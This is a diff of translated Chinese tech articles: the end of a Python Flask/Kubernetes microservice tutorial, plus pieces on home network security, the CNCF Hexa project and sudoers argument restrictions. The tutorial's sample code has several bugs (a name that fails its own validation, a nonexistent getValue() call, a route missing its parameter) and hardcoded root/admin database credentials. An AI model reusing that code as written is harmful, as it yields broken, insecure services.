就像一个玩具,你会非常喜欢它。然而,当你进入严肃的大规模应用程序开发领域时,你将不得不处理大量的 `if` 和 `else`,Python 变得与任何其他平台一样好或一样坏。例如,采用一种面向对象的方法!许多 Python 开发人员甚至可能没意识到 Python 支持类、继承等功能。Python 确实支持成熟的面向对象开发,但是有它自己的方式 -- Pythonic!让我们探索一下! + +### 领域模型 + +`AddService` 通过将数据保存到一个 MySQL 数据库中来将用户添加到系统中。`FindService` 的目标是提供一个 REST API 按用户名查找用户。域模型如图 1 所示。它主要由一些值对象组成,如 `User` 实体的`Name`、`PhoneNumber` 以及 `UserRepository`。 + +![图 1: 查找服务的域模型][1] + +让我们从 `Name` 开始。由于它是一个值对象,因此必须在创建时进行验证,并且必须保持不可变。基本结构如所示: + +``` +class Name: + value: str + def __post_init__(self): + if self.value is None or len(self.value.strip()) < 8 or len(self.value.strip()) > 32: + raise ValueError("Invalid Name") +``` + +如你所见,`Name` 包含一个字符串类型的值。作为后期初始化的一部分,我们会验证它。 + +Python 3.7 提供了 `@dataclass` 装饰器,它提供了许多开箱即用的数据承载类的功能,如构造函数、比较运算符等。如下是装饰后的 `Name` 类: + +``` +from dataclasses import dataclass + +@dataclass +class Name: + value: str + def __post_init__(self): + if self.value is None or len(self.value.strip()) < 8 or len(self.value.strip()) > 32: + raise ValueError("Invalid Name") +``` + +以下代码可以创建一个 `Name` 对象: + +``` +name = Name("Krishna") +``` + +`value` 属性可以按照如下方式读取或写入: + +``` +name.value = "Mohan" +print(name.value) +``` + +可以很容易地与另一个 `Name` 对象比较,如下所示: + +``` +other = Name("Mohan") +if name == other: + print("same") +``` + +如你所见,对象比较的是值而不是引用。这一切都是开箱即用的。我们还可以通过冻结对象使对象不可变。这是 `Name` 值对象的最终版本: + +``` +from dataclasses import dataclass + +@dataclass(frozen=True) +class Name: + value: str + def __post_init__(self): + if self.value is None or len(self.value.strip()) < 8 or len(self.value.strip()) > 32: + raise ValueError("Invalid Name") +``` + +`PhoneNumber` 也遵循类似的方法,因为它也是一个值对象: + +``` +@dataclass(frozen=True) +class PhoneNumber: + value: int + def __post_init__(self): + if self.value < 9000000000: + raise ValueError("Invalid Phone Number") +``` + +`User` 类是一个实体,不是一个值对象。换句话说,`User` 是可变的。以下是结构: + +``` +from dataclasses import dataclass +import datetime + +@dataclass +class User: + _name: Name + _phone: PhoneNumber + _since: datetime.datetime + + def __post_init__(self): + if self._name is None or self._phone is None: + raise ValueError("Invalid user") + if self._since is None: + self.since = datetime.datetime.now() +``` + +你能观察到 `User` 并没有冻结,因为我们希望它是可变的。但是,我们不希望所有属性都是可变的。标识字段如 `_name` 和 `_since` 是希望不会修改的。那么,这如何做到呢? + +Python3 提供了所谓的描述符协议,它会帮助我们正确定义 getter 和 setter。让我们使用 `@property` 装饰器将 getter 添加到 `User` 的所有三个字段中。 + +``` +@property +def name(self) -> Name: + return self._name + +@property +def phone(self) -> PhoneNumber: + return self._phone + +@property +def since(self) -> datetime.datetime: + return self._since +``` + +`phone` 字段的 setter 可以使用 `@<字段>.setter` 来装饰: + +``` +@phone.setter +def phone(self, phone: PhoneNumber) -> None: + if phone is None: + raise ValueError("Invalid phone") + self._phone = phone +``` + +通过重写 `__str__()` 函数,也可以为 `User` 提供一个简单的打印方法: + +``` +def __str__(self): + return self.name.value + " [" + str(self.phone.value) + "] since " + str(self.since) +``` + +这样,域模型的实体和值对象就准备好了。创建异常类如下所示: + +``` +class UserNotFoundException(Exception): + pass +``` + +域模型现在只剩下 `UserRepository` 了。Python 提供了一个名为 `abc` 的有用模块来创建抽象方法和抽象类。因为 `UserRepository` 只是一个接口,所以我们可以使用 `abc` 模块。 + +任何继承自 `abc.ABC` 的类都将变为抽象类,任何带有 `@abc.abstractmethod` 装饰器的函数都会变为一个抽象函数。下面是 `UserRepository` 的结构: + +``` +from abc import ABC, abstractmethod + +class UserRepository(ABC): + @abstractmethod + def fetch(self, name:Name) -> User: + pass +``` + +`UserRepository` 遵循仓储模式。换句话说,它在 `User` 实体上提供适当的 CRUD 操作,而不会暴露底层数据存储语义。在本例中,我们只需要 `fetch()` 操作,因为 `FindService` 只查找用户。 + +因为 `UserRepository` 是一个抽象类,我们不能从抽象类创建实例对象。创建对象必须依赖于一个具体类实现这个抽象类。数据层 `UserRepositoryImpl` 提供了 `UserRepository` 的具体实现: + +``` +class UserRepositoryImpl(UserRepository): + def fetch(self, name:Name) -> User: + pass +``` + +由于 `AddService` 将用户数据存储在一个 MySQL 数据库中,因此 `UserRepositoryImpl` 也必须连接到相同的数据库去检索数据。下面是连接到数据库的代码。注意,我们正在使用 MySQL 的连接库。 + +``` +from mysql.connector import connect, Error + +class UserRepositoryImpl(UserRepository): + def fetch(self, name:Name) -> User: + try: + with connect( + host="mysqldb", + user="root", + password="admin", + database="glarimy", + ) as connection: + with connection.cursor() as cursor: + cursor.execute("SELECT * FROM ums_users where name=%s", (name.value,)) + row = cursor.fetchone() + if cursor.rowcount == -1: + raise UserNotFoundException() + else: + return User(Name(row[0]), PhoneNumber(row[1]), row[2]) + except Error as e: + raise e +``` + +在上面的片段中,我们使用用户 `root` / 密码 `admin` 连接到一个名为 `mysqldb` 的数据库服务器,使用名为 `glarimy` 的数据库(模式)。在演示代码中是可以包含这些信息的,但在生产中不建议这么做,因为这会暴露敏感信息。 + +`fetch()` 操作的逻辑非常直观,它对 `ums_users` 表执行 SELECT 查询。回想一下,`AddService` 正在将用户数据写入同一个表中。如果 SELECT 查询没有返回记录,`fetch()` 函数将抛出 `UserNotFoundException` 异常。否则,它会从记录中构造 `User` 实体并将其返回给调用者。这没有什么特殊的。 + +### 应用层 + +最终,我们需要创建应用层。此模型如图 2 所示。它只包含两个类:控制器和一个 DTO。 + +![图 2: 添加服务的应用层][2] + +众所周知,一个 DTO 只是一个没有任何业务逻辑的数据容器。它主要用于在 `FindService` 和外部之间传输数据。我们只是提供了在 REST 层中将 `UserRecord` 转换为字典以便用于 JSON 传输: + +``` +class UserRecord: + def toJSON(self): + return { + "name": self.name, + "phone": self.phone, + "since": self.since + } +``` + +控制器的工作是将 DTO 转换为用于域服务的域对象,反之亦然。可以从 `find()` 操作中观察到这一点。 + +``` +class UserController: + + def __init__(self): + self._repo = UserRepositoryImpl() + + def find(self, name: str): + try: + user: User = self._repo.fetch(Name(name)) + record: UserRecord = UserRecord() + record.name = user.name.value + record.phone = user.phone.value + record.since = user.since + return record + except UserNotFoundException as e: + return None +``` + +`find()` 操作接收一个字符串作为用户名,然后将其转换为 `Name` 对象,并调用 `UserRepository` 获取相应的 `User` 对象。如果找到了,则使用检索到的 `User`` 对象创建 `UserRecord`。回想一下,将域对象转换为 DTO 是很有必要的,这样可以对外部服务隐藏域模型。 + +`UserController` 不需要有多个实例,它也可以是单例的。通过重写 `__new__`,可以将其建模为一个单例。 + +``` +class UserController: + def __new__(self): + if not hasattr(self, ‘instance’): + self.instance = super().__new__(self) + return self.instance + + def __init__(self): + self._repo = UserRepositoryImpl() + + def find(self, name: str): + try: + user: User = self._repo.fetch(Name(name)) + record: UserRecord = UserRecord() + record.name = user.name.getValue() + record.phone = user.phone.getValue() + record.since = user.since + return record + except UserNotFoundException as e: + return None +``` + +我们已经完全实现了 `FindService` 的模型,剩下的唯一任务是将其作为 REST 服务公开。 + +### REST API + +`FindService` 只提供一个 API,那就是通过用户名查找用户。显然 URI 如下所示: + +``` +GET /user/{name} +``` + +此 API 希望根据提供的用户名查找用户,并以 JSON 格式返回用户的电话号码等详细信息。如果没有找到用户,API 将返回一个 404 状态码。 + +我们可以使用 Flask 框架来构建 REST API,它最初的目的是使用 Python 开发 Web 应用程序。除了 HTML 视图,它还进一步扩展到支持 REST 视图。我们选择这个框架是因为它足够简单。 +创建一个 Flask 应用程序: + +``` +from flask import Flask +app = Flask(__name__) +``` + +然后为 Flask 应用程序定义路由,就像函数一样简单: + +``` +@app.route('/user/') +def get(name): + pass +``` + +注意 `@app.route` 映射到 API `/user/`,与之对应的函数的 `get()`。 + +如你所见,每次用户访问 API 如 `http://server:port/user/Krishna` 时,都将调用这个 `get()` 函数。Flask 足够智能,可以从 URL 中提取 `Krishna` 作为用户名,并将其传递给 `get()` 函数。 + +`get()` 函数很简单。它要求控制器找到该用户,并将其与通常的 HTTP 头一起打包为 JSON 格式后返回。如果控制器返回 `None`,则 `get()` 函数返回合适的 HTTP 状态码。 + +``` +from flask import jsonify, abort + +controller = UserController() +record = controller.find(name) +if record is None: + abort(404) +else: + resp = jsonify(record.toJSON()) + resp.status_code = 200 + return resp +``` + +最后,我们需要 Flask 应用程序提供服务,可以使用 `waitress` 服务: + +``` +from waitress import serve +serve(app, host="0.0.0.0", port=8080) +``` + +在上面的片段中,应用程序在本地主机的 8080 端口上提供服务。最终代码如下所示: + +``` +from flask import Flask, jsonify, abort +from waitress import serve + +app = Flask(__name__) + +@app.route('/user/') +def get(name): + controller = UserController() + record = controller.find(name) + if record is None: + abort(404) + else: + resp = jsonify(record.toJSON()) + resp.status_code = 200 + return resp + +serve(app, host="0.0.0.0", port=8080) +``` + +### 部署 + +`FindService` 的代码已经准备完毕。除了 REST API 之外,它还有域模型、数据层和应用程序层。下一步是构建此服务,将其容器化,然后部署到 Kubernetes 上。此过程与部署其他服务妹有任何区别,但有一些 Python 特有的步骤。 + +在继续前进之前,让我们来看下文件夹和文件结构: + +``` ++ ums-find-service ++ ums +- domain.py +- data.py +- app.py +- Dockerfile +- requirements.txt +- kube-find-deployment.yml +``` + +如你所见,整个工作文件夹都位于 `ums-find-service` 下,它包含了 `ums` 文件夹中的代码和一些配置文件,例如 `Dockerfile`、`requirements.txt` 和 `kube-find-deployment.yml`。 + +`domain.py` 包含域模型,`data.py` 包含 `UserRepositoryImpl`,`app.py` 包含剩余代码。我们已经阅读过代码了,现在我们来看看配置文件。 + +第一个是 `requirements.txt`,它声明了 Python 系统需要下载和安装的外部依赖项。我们需要用查找服务中用到的每个外部 Python 模块来填充它。如你所见,我们使用了 MySQL 连接器、Flask 和 Waitress 模块。因此,下面是 `requirements.txt` 的内容。 + +``` +Flask==2.1.1 +Flask_RESTful +mysql-connector-python +waitress +``` + +第二步是在 `Dockerfile` 中声明 Docker 相关的清单,如下: + +``` +FROM python:3.8-slim-buster + +WORKDIR /ums +ADD ums /ums +ADD requirements.txt requirements.txt +RUN pip3 install -r requirements.txt + +EXPOSE 8080 +ENTRYPOINT ["python"] +CMD ["/ums/app.py"] +``` + +总的来说,我们使用 Python 3.8 作为基线,除了移动 `requirements.txt` 之外,我们还将代码从 `ums` 文件夹移动到 Docker 容器中对应的文件夹中。然后,我们指示容器运行 `pip3 install` 命令安装对应模块。最后,我们向外暴露 8080 端口(因为 waitress 运行在此端口上)。 + +为了运行此服务,我们指示容器使用使用以下命令: + +``` +python /ums/app.py +``` + +一旦 `Dockerfile` 准备完成,在 `ums-find-service` 文件夹中运行以下命令,创建 Docker 镜像: + +``` +docker build -t glarimy/ums-find-service +``` + +它会创建 Docker 镜像,可以使用以下命令查找镜像: + +``` +docker images +``` + +尝试将镜像推送到 Docker Hub,你也可以登录到 Docker。 + +``` +docker login +docker push glarimy/ums-find-service +``` + +最后一步是为 Kubernetes 部署构建清单。 + +在之前的文章中,我们已经介绍了如何建立 Kubernetes 集群、部署和使用服务的方法。我假设仍然使用之前文章中的清单文件来部署添加服务、MySQL、Kafka 和 Zookeeper。我们只需要将以下内容添加到 `kube-find-deployment.yml` 文件中: + +``` +apiVersion: apps/v1 +kind: Deployment +metadata: +name: ums-find-service +labels: +app: ums-find-service +spec: +replicas: 3 +selector: +matchLabels: +app: ums-find-service +template: +metadata: +labels: +app: ums-find-service +spec: +containers: +- name: ums-find-service +image: glarimy/ums-find-service +ports: +- containerPort: 8080 +--- +apiVersion: v1 +kind: Service +metadata: +name: ums-find-service +labels: +name: ums-find-service +spec: +type: LoadBalancer +ports: +- port: 8080 +selector: +app: ums-find-service +``` + +上面清单文件的第一部分声明了 `glarimy/ums-find-service` 镜像的 `FindService`,它包含三个副本。它还暴露 8080 端口。清单的后半部分声明了一个 Kubernetes 服务作为 `FindService` 部署的前端。请记住,在之前文章中,mysqldb 服务已经是上述清单的一部分了。 + +运行以下命令在 Kubernetes 集群上部署清单文件: + +``` +kubectl create -f kube-find-deployment.yml +``` + +部署完成后,可以使用以下命令验证容器组和服务: + +``` +kubectl get services +``` + +输出如图 3 所示: + +![图 3: Kubernetes 服务][3] + +它会列出集群上运行的所有服务。注意查找服务的外部 IP,使用 `curl` 调用此服务: + +``` +curl http://10.98.45.187:8080/user/KrishnaMohan +``` + +注意:10.98.45.187 对应查找服务,如图 3 所示。 + +如果我们使用 `AddService` 创建一个名为 `KrishnaMohan` 的用户,那么上面的 `curl` 命令看起来如图 4 所示: + +![图 4: 查找服务][4] + +用户管理系统(UMS)的体系结构包含 `AddService` 和 `FindService`,以及存储和消息传递所需的后端服务,如图 5 所示。可以看到终端用户使用 `ums-add-service` 的 IP 地址添加新用户,使用 `ums-find-service` 的 IP 地址查找已有用户。每个 Kubernetes 服务都由三个对应容器的节点支持。还要注意:同样的 mysqldb 服务用于存储和检索用户数据。 + +![图 5: UMS 的添加服务和查找服务][5] + +### 其他服务 + +UMS 系统还包含两个服务:`SearchService` 和 `JournalService`。在本系列的下一部分中,我们将在 Node 平台上设计这些服务,并将它们部署到同一个 Kubernetes 集群,以演示多语言微服务架构的真正魅力。最后,我们将观察一些与微服务相关的设计模式。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/python-microservices-using-flask-on-kubernetes/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-1-The-domain-model-of-FindService-1.png +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-2-The-application-layer-of-FindService.png +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-3-Kubernetes-services-1.png +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-4-FindService.png +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-5-UMS-with-AddService-and-FindService.png +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Python-Microservices-1-696x477.jpg diff --git a/published/202210/20220914 3 steps to protect your home network.md b/published/202210/20220914 3 steps to protect your home network.md new file mode 100644 index 0000000000..97ae32b319 --- /dev/null +++ b/published/202210/20220914 3 steps to protect your home network.md @@ -0,0 +1,90 @@ +[#]: subject: "3 steps to protect your home network" +[#]: via: "https://opensource.com/article/22/9/protect-home-network" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15093-1.html" + +保护家庭网络三部曲 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/01/183650wcrjnshjn9cwzqws.jpg) + +> 都有谁可以访问你的家庭网络?随着物联网(IoT)的普及,有时在运行在你家庭网络上的服务比你想象的更多。我们应当设法保护它免受不需要的访问。 + +今天,互联网连接的典型结构是家里有一个**路由器**,通常是一个位于你家某个地方的小盒子,它充当了通往互联网世界的网关。路由器创建了一个本地网络,你将你的设备连接到这个本地网络,包括你的电脑、手机、电视、游戏机,以及其他任何需要连接到互联网或相互连接的设备。我们很容易将路由器当作一个分界线,一边是互联网而另一边是你的设备。但这是一个可怕的误解,因为在现实中,你的路由器的一边是整个*计算机网络世界*,另一边是你的数字生活。当你直接使用互联网时,你是在访问别人的计算机网络的共享区域。当你不使用互联网时,它却并没有消失,有很多脚本和程序被设计用以访问数以百万计的路由器,试图找到开放的端口或服务。随着物联网(IoT)的普及,有时在运行在你家庭网络上的服务比你想象的更多。通过以下三个步骤,你可以审计并保护你的家庭网络免受不必要的访问和攻击。 + +### 1、协议先行 + +路由器的部分工作是将互联网与你的家庭网络分开。但当你访问互联网时,你邀请互联网的某些部分进入你的家庭。这意味着你创建了一个例外规则,绕过了阻止互联网进入你的本地网络的一般规则。 + +在许多网站上,通过你的路由器的仅是文本内容。例如,当你访问你最喜欢的博客网站,阅读最新的科技新闻时,你下载了几页文字。你阅读文本,然后继续访问。这是一个简单的一对一的连接。 + +然而,HTTPS 协议是强大的,在互联网上运行的应用程序也充满了多样性。例如,当你访问某个网站时,你不只是在下载文本。你会得到图形,也许还有脚本或电子书。你还在后台下载 cookie,这有助于网站管理员了解谁在访问网站、加强对移动设备的支持、为更好的可访问性提供新设计并了解读者喜欢的内容。当你网上冲浪时,你可能不会想到 cookie 或流量分析是与你交互的东西,它是被“藏入”页面交互的东西,因为 HTTPS 协议的设计是广泛而通用的,在多数场景被高度信任。当你通过 HTTPS(或者说,在一个浏览器中)访问一个网站时,你可能在不知情的情况下默认同意自动下载文件,但你认为这些文件是有用的和无关紧要的。对于一种旨在减少信任的文件共享模式,你可以尝试一下 [Gemini][3] 或 [Gopher][4] 协议。 + +当你加入一个视频会议时,你也使用了类似的协议。你不仅要下载页面上的文字、用于流量监控的cookie,还要下载视频和音频材料。 + +有些网站的设计甚至更进一步,它们被设计成允许用户分享其电脑屏幕,有时甚至是对他们电脑的控制。这样设计的初衷是有助于远程技术人员修复电脑上的问题,但在现实中,用户可能被欺骗访问这一网站,导致财务凭证和个人数据被盗。 + +如果一个提供文字文章的网站要求你允许它在你阅读时调用网络摄像头,你理应高度警惕。当一个设备需要访问互联网时,你也应当保持同样的谨慎和警惕。当你把一个设备连接到网络时,重要的是要关注你同意了何种隐性协议。一个旨在控制你房子里的照明的设备不应该*要求*互联网接入,但事实上许多设备需要并且没有明确说明你授予该设备什么权限。许多物联网设备都*希望*接入互联网,这样你就可以在离家时通过互联网访问该设备。这也是“智慧家庭”的部分吸引力。然而,我们不可能知道所有设备运行的是什么代码。在可能的情况下,使用开源和值得信赖的软件,如 [Home Assistant][5] 来与你的物联网设备对接。 + +### 2、创建访客网络 + +许多现代路由器可以为你的家庭创建第二个网络(通常在配置面板中称为 “访客网络”)。你可能觉得你不需要访客网络,但实际上,访客网络是十分有意义的。它旨在为访问你房子的人提供互联网访问,而你不需要告诉他们你的私人网络密码。例如在我家的门厅里,我有一个牌子标明了访客网络的名称和密码。任何来访的人都可以加入该网络以访问互联网。 + +另一方面可以用于物联网、边缘设备和家庭实验室的应用。当我去年购买 “可编程” 的圣诞灯时,我惊讶地发现,为了连接这些灯,它们必须连接到互联网。当然,这些来自无名工厂的 50 美元的灯没有附带源代码,也没有任何方法可以与嵌入在适配器中的固件进行交互或检查,所以我对我同意将它们连接到我的本地网络有一定的顾虑。它们已经被永久地归入了我的访客网络。 + +每个路由器供应商都是不同的,所以没有关于如何在你的路由器上创建一个 “沙盒” 访客网络的通用指令。一般来说,你通过一个网络浏览器访问你的家庭路由器。你的路由器的地址有时印在路由器的底部,它以 192.168 或 10 开头。 + +访问路由器地址,用你配置互联网服务时使用的凭证登录。这通常是简单的 “admin” 和一个数字密码(有时,这个密码也印在路由器上)。如果你不知道登录方式,请致电给你的互联网供应商或者制造商咨询。 + +在图形界面中,找到 “访客网络” 的面板。这个选项在我的路由器的**高级**配置中,但它可能在你的路由器的其他地方,它甚至可能不叫 “访客网络”(或者它甚至可能不是一个选项)。具体情况因厂商而异。 + +![创建访客网络][7] + +这可能需要耐心的寻找。如果你发现你的设备有这个选择,那么你可以为访客建立一个访客网络,包括在不受信任的灯泡上运行的应用程序。 + +### 3、配置防火墙 + +你的路由器可能已经存在一个默认运行的防火墙。防火墙将不需要的流量挡在你的网络之外,通常是将传入的数据包限制在 HTTP 和 HTTPS(浏览器流量)以及其他一些常用的协议上,并拒绝不是你发起的请求。你可以通过登录你的路由器并寻找 “防火墙” 或 “安全” 设置来检查防火墙是否正在运行。 + +然而,许多设备可以运行它们自己的防火墙。网络之所以被称为*网络*是因为在网络上的设备互相能进行连接。在设备之间设置防火墙,就像在你的房子里锁上一扇门。客人可以在大厅里游荡,但如果没有合适的钥匙,他们就不会被邀请进入你的私人办公室。 + +在 Linux 上,你可以使用 [firewalld][8] 接口和 [firewall-cmd][9] 命令来配置你的防火墙。在其他操作系统上,防火墙有时在一个标有 “安全” 或 “共享” 的控制面板中(有时两者都有)。 大多数默认的防火墙设置只允许出站流量(即你通过打开浏览器并导航到一个网站而启动的流量)和响应你的请求的入站流量(即响应你的导航的网络数据)。不是由你发起的传入流量会被阻止。 + +你可以根据需要配置相关规则以允许特定的流量,例如 [SSH 连接][10]、[VNC 连接][11],或 [游戏服务器][12] 主机。 + +### 监控你的网络 + +这些技巧有助于建立起你对周围发生的事情的认识。下一步是 [监控你的网络][13]。你可以从简单的开始,例如在你的访客网络的测试服务器上运行 [Fail2ban][14]。看一下日志,如果你的路由器提供日志的话。你不必对 TCP/IP 和数据包以及其他进阶知识了如指掌,就可以看到互联网是一个繁忙而嘈杂的地方,当你在家里安装一个新设备时,无论是物联网、移动设备、台式机或笔记本电脑、游戏机,甚至是 [树莓派][15],而亲身体会到这一点对你采取预防措施有很大启发。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/protect-home-network + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/wfh_work_home_laptop_work.png +[2]: https://opensource.com/article/20/1/open-source-networking +[3]: https://opensource.com/article/20/10/gemini-internet-protocol +[4]: https://opensource.com/article/16/12/yearbook-compute-its-1989#gopher +[5]: https://opensource.com/article/20/12/home-assistant +[6]: https://opensource.com/article/20/11/wireless-protocol-home-automation +[7]: https://opensource.com/sites/default/files/2022-08/router-guest-network.jpg +[8]: https://opensource.com/article/19/7/make-linux-stronger-firewalls +[9]: https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd +[10]: https://www.redhat.com/sysadmin/access-remote-systems-ssh +[11]: https://www.redhat.com/sysadmin/accessing-remote-desktops +[12]: https://opensource.com/article/18/5/maptool +[13]: https://opensource.com/article/19/2/network-monitoring-tools +[14]: https://www.redhat.com/sysadmin/protect-systems-fail2ban +[15]: https://opensource.com/article/22/3/raspberry-pi-projects-2022 diff --git a/published/202210/20220914 CNCF Accepts Open Source Hexa Project As A Sandbox Project.md b/published/202210/20220914 CNCF Accepts Open Source Hexa Project As A Sandbox Project.md new file mode 100644 index 0000000000..4becf7574e --- /dev/null +++ b/published/202210/20220914 CNCF Accepts Open Source Hexa Project As A Sandbox Project.md @@ -0,0 +1,59 @@ +[#]: subject: "CNCF Accepts Open Source Hexa Project As A Sandbox Project" +[#]: via: "https://www.opensourceforu.com/2022/09/cncf-accepts-open-source-hexa-project-as-a-sandbox-project/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15109-1.html" + +CNCF 接受开源 Hexa 项目作为沙盒项目 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/open-source-banner-3-1536x825.png) + +> 开源身份标准和策略协调软件巩固了对多云访问策略的管理。 + +根据多云身份协调公司 Strata Identity 的说法,Hexa 和 IDQL(身份查询语言Identity Query Language)开源项目使组织能够在多个云平台上的应用程序中采用一致的访问策略,已被云原生计算基金会(CNCF)接受为沙盒项目:https://www.cncf.io/projects/hexa/ + +“云身份Cloud Identity 是非常分散的,没有明确的路径来协调不同服务提供商平台的策略管理,” TechVision Research 首席咨询分析师兼首席执行官 Gary Rowe 说。“IDQL 代表了在为基于云的 IAM 治理提供基于标准的方法方面向前迈出的重要一步。” + +Linux 基金会的 CNCF 是一个致力于监督开源云原生计划的非营利组织。Versa Networks、S&P Global、Cummins、Kroger、MEF 和 Strata Identity 都是 IDQL 和 Hexa 的作者和工作组参与者。有关如何帮助该项目的更多详细信息,请访问 https://hexaorchestration.org。 + +目前,每个云平台(如 AWS、谷歌云、微软 Azure 等)都使用一个独特的身份系统,采用独特的策略语言,彼此完全不兼容。而每个应用程序都需要进行硬编码才能与特定的识别系统一起运行。根据 2022 年多云身份状况调查,只有 25% 的受访者表示他们了解多云访问限制,这对企业来说是一个重大障碍。 + +基于该公司创始人共同编写 SSO 联盟 SAML 标准的经验,Strata Identity 领导了 Hexa 和 IDQL 项目。这个新项目的目标是引入一个精心设计的开源策略编排框架,以增加组织、客户和软件提供商从转向现代、开放和无密码的身份验证方法中获利的可能性。 + +在不改变识别系统或应用程序的情况下,IDQL 和 Hexa 允许任意数量的身份系统作为单个集成系统运行。这些开源计划共同提供了以下优势: + +发现策略: + +* 对重要的应用程序、数据和策略进行分析和清点 +* 发现可用的应用程序以及它们的位置 +* 识别策略、用户和角色 + +管理策略: + +* 在策略发现期间,将本机命令式策略转换为声明性 IDQL 策略 +* 在策略编排期间,将声明性 IDQL 策略转换为目标系统的本机命令式策略 + +策略编排: + +* 使用基于云的架构,无需代理、代理或本地代码; +* 分发的规则由身份提供者(IdP)、云、IaaS 和网络系统执行 +* 采用可扩展的开源范例,允许定制的连接器集成 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/cncf-accepts-open-source-hexa-project-as-a-sandbox-project/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.cncf.io/projects/hexa/ diff --git a/published/202210/20220915 How To Prevent Command Arguments With Sudo In Linux.md b/published/202210/20220915 How To Prevent Command Arguments With Sudo In Linux.md new file mode 100644 index 0000000000..46ba118458 --- /dev/null +++ b/published/202210/20220915 How To Prevent Command Arguments With Sudo In Linux.md @@ -0,0 +1,102 @@ +[#]: subject: "How To Prevent Command Arguments With Sudo In Linux" +[#]: via: "https://ostechnix.com/prevent-command-arguments-with-sudo/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15106-1.html" + +如何在 sudo 运行的命令中防止使用参数 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/04/224059k9jl5kzhlhw5d98j.jpg) + +> 允许用户使用 `sudo` 运行命令,但不带命令行参数。 + +在之前的文章,我们学习了如何 [通过 sudo 以 root 身份运行目录中的命令][1]。在这篇指南中,我们将学习如何在 Linux 中 **防止 sudo 运行的命令使用参数**。即我们允许一个用户使用 `sudo` 运行特权级命令,但是 **不带命令行参数**。 + +### 背景介绍 + +你已经知道了,每个命令执行一个特定操作有不同的选项。让我们以 `ls` 命令为例。 + +`ls` 命令会罗列文件夹中的内容,对吗?没错。`ls` 命令附带了一些命令行选项和标志。例如,你可以用 `ls` 命令的 `-a` 标志罗列文件夹中的所有内容(包括隐藏文件)。 + +在这份简要指南中,我们将明白如何允许用户通过 `sudo` 运行 `ls` 命令,但是不能使用命令行选项或者标志。我讲清楚了吗?接下来让我来展示一下如何做到这点。 + +### 防止使用 sudo 参数 + +以 `root` 用户身份编辑 `/etc/sudoers` 文件: + +``` +[root@Almalinux8CT ~]# visudo +``` + +添加下面一行: + +``` +user1 ALL=(root) /usr/bin/ls "" +``` + +![Deny Command Arguments With Sudo][2] + +要注意这里 `ls` 之后的 **双引号**。双引号会屏蔽用户在给定命令之后输入的参数(比如 `ls` 命令)。在上面的命令中,`user1` 能够以 `root` 身份运行 `ls` 命令,但是不能使用 `ls` 命令的选项以及标志。你可以选择其他的指令进行尝试。保存该文件并关闭。 + +现在,以 `user1` 的身份登录系统,并尝试以管理员身份运行 `ls` 命令,不要添加任何选项: + +``` +[user1@Almalinux8CT ~]$ sudo -u root ls -a +``` + +或许你会遇到下面的报错: + +``` +Sorry, user user1 is not allowed to execute '/bin/ls -a' as root on Almalinux8CT. +``` + +不过你可以不添加参数来运行 `ls` 命令: + +``` +[user1@Almalinux8CT ~]$ sudo -u root ls +``` + +![Prevent Command Arguments With Sudo][3] + +### 防止所有用户使用命令参数 + +上述例子像你展示了如何阻止用户以管理员身份运行带有参数的命令。你是否想要对所有用户应用该规则呢?很简单!只需要在 `/etc/sudoers` 文件中添加一行: + +``` +ALL ALL=(root) /usr/bin/ls "" +``` + +现在,系统中的所有用户都可以运行不带参数的 `ls` 命令。 + +想要恢复默认设置,只需要删除最后的双引号,或者删除整行。 + +查看帮助手册,了解更多。 + +``` +$ man sudoers +``` + +### 结论 + +在这份指南中,我们学习了如何允许用户以管理员身份运行命令,但是不能添加任何命令参数。这样可以限制用户误用一些命令行参数。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/prevent-command-arguments-with-sudo/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: 